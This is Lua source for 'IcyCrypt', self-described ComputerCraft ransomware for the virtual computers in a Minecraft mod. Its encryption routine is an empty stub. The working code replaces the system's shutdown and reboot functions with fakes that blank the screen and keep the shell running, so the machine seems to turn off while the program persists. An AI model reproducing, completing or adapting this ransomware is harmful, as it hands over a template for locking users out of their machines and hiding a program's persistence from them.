IcyCrypt

--[[
IcyCrypt - A computerCraft ransomware
This variant saves the key on the disk
(C) 2017 Rahph

Main payload
]]
_G.term.undoPaletteChange = "1.0"
local crypt = function()


end
local overwrite = function(mode)
    if mode == "reboot" then
        term.setBackgroundColor(colors.black)
        term.clear()
        sleep(2)
        term.setCursorPos(1,1)
        shell.run("shell")
    end
    if mode == "shutdown" then
        term.setBackgroundColor(colors.black)
        term.clear()
        while true do
            event = os.pullEvent()
            if event == "key" or event == "key_up" or event == "char" or event == "mouse_click" then
                break
            end
        end
        term.setCursorPos(1,1)
        term.clear()
        shell.run("shell")
    end
end
local evershell = function()
    while true do
        shell.run("shell")
    end
end
_G.os.shutdown = function() overwrite("shutdown") end
_G.os.reboot = function() overwrite("reboot") end